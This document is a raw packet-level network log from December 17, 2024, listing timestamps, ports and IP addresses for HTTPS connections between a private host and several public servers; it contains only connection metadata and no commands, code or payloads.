Dec 17, 2024 22:24:57.157264948 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.157352924 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.165267944 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.165338039 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.166100979 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.166341066 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.166351080 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.167901039 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.167992115 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.170629978 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.170707941 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.171869040 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.172041893 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.172048092 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.172187090 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.173142910 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.173204899 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.181124926 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.181197882 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.185262918 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.185345888 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.193341970 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.193434954 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.197221041 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.197309017 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.201452971 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.201519012 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.209039927 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.209105968 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.215805054 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.215817928 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:57.216677904 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.216733932 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.216833115 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.216876030 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.255372047 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:57.312202930 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.312279940 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.313451052 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.313524961 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.319896936 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.319967031 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.322822094 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.322880983 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.322917938 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.322968006 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.329035044 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.329097986 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.334781885 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.334856987 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.337559938 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.337616920 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.340297937 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.340368986 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.343138933 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.343220949 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.348566055 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.348644018 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.353663921 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.353739023 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.356419086 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.356502056 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.356513977 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.361752987 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.361838102 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.361845970 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.361893892 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.366852045 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.366930962 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.372186899 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.372270107 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.374876022 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.374938965 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.380073071 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.380173922 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.385400057 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.385484934 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.388184071 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.388248920 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.393379927 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.393455029 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.396049023 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.396120071 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.433163881 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.433326960 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.446387053 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.446396112 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.446436882 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.446590900 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.446590900 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.446605921 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.451685905 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.452358961 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.452366114 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.454505920 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.454567909 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.454574108 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.501821041 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.513802052 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.513814926 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.513855934 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.513881922 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.514036894 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.514038086 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.514060020 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.514116049 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.525759935 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.525825024 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.525893927 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.525912046 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.525943995 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.525965929 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.538532972 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.538583994 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.538646936 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.538666010 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.538806915 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.538806915 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.551692963 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.551743031 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.551868916 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.551887035 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.552041054 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.562274933 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.562325001 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.562391043 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.562405109 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.562438965 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.562457085 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.571254015 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.571355104 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.571433067 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.571434021 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.571449041 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.571501017 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.578748941 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.578795910 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.578849077 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.578861952 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.578897953 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.578917980 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.579766989 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.616266012 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.616316080 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.616513968 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.616514921 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.616585970 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.660960913 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.702647924 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.702658892 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.702702045 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.702769995 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.702811003 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.702842951 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.702864885 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.708100080 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.708152056 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.708203077 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.708218098 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.708245993 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.708286047 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.714217901 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.714267969 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.714335918 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.714359045 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.714385986 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.714412928 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.720326900 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.720377922 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.720422029 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.720436096 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.720462084 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.720491886 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.726007938 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.726061106 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.726099968 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.726114035 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.726140976 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.726161003 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.732112885 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.732175112 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.732218981 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.732234001 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.732261896 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.732285023 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.773279905 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.773329973 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.773670912 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.773739100 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.773812056 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.809098959 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.809164047 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.809370041 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.809370995 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.809442043 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.809528112 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.885493040 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:57.885759115 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:57.885799885 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:57.886842012 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:57.886931896 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:57.887264013 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:57.887355089 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:57.887449026 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:57.887465954 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:57.894167900 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.894187927 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.894283056 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.894334078 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.894398928 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.900223017 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.900239944 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.900326967 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.900341988 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.900397062 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.906377077 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.906415939 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.906461954 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.906476974 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.906508923 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.906531096 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.911844969 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.911880970 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.911920071 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.911933899 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.911962986 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.911999941 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.918148041 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.918190002 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.918242931 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.918263912 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.918296099 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.918322086 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.923443079 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.923463106 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.923540115 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.923553944 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.923614979 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.931881905 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:57.965615034 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.965652943 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.965748072 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:57.965768099 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:57.965821028 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.001688004 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.001751900 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.001818895 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.001842022 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.001868010 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.001904964 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.086421013 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.086528063 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.086549997 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.086625099 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.091000080 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:58.091131926 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:58.091211081 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.091231108 CET	443	49745	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:58.091720104 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.091720104 CET	49745	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.092624903 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.092674971 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.092720985 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.092736959 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.092778921 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.092797041 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.098558903 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.098608971 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.098654985 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.098685980 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.098710060 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.098731041 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.104624987 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.104690075 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.104726076 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.104757071 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.104784966 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.104801893 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.104805946 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.104835033 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.104883909 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.110744953 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.110795021 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.110841036 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.110884905 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.110913992 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.110934973 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.116906881 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.116955996 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.117006063 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.117060900 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.117094040 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.117116928 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.153341055 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.153448105 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.157619953 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.157672882 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.157716036 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.157722950 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.157737017 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.157773972 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.157917023 CET	49742	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:58.157953978 CET	443	49742	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:58.177447081 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.177537918 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:58.177747011 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.177876949 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:58.177896976 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:58.532990932 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:58.533058882 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:58.533155918 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:58.533689022 CET	49748	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:58.533726931 CET	443	49748	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:58.534502029 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:58.534549952 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:58.534634113 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:58.534949064 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:58.534966946 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.743840933 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.744216919 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.744239092 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.745251894 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.745332003 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.745727062 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.745740891 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.745788097 CET	443	49751	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.745799065 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.745850086 CET	49751	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.746153116 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.746217966 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.746309042 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.746509075 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:24:59.746536970 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:24:59.881342888 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.881777048 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:59.881815910 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.883126974 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.883230925 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:59.885674000 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.885741949 CET	49749	443	192.168.2.16	172.217.19.238
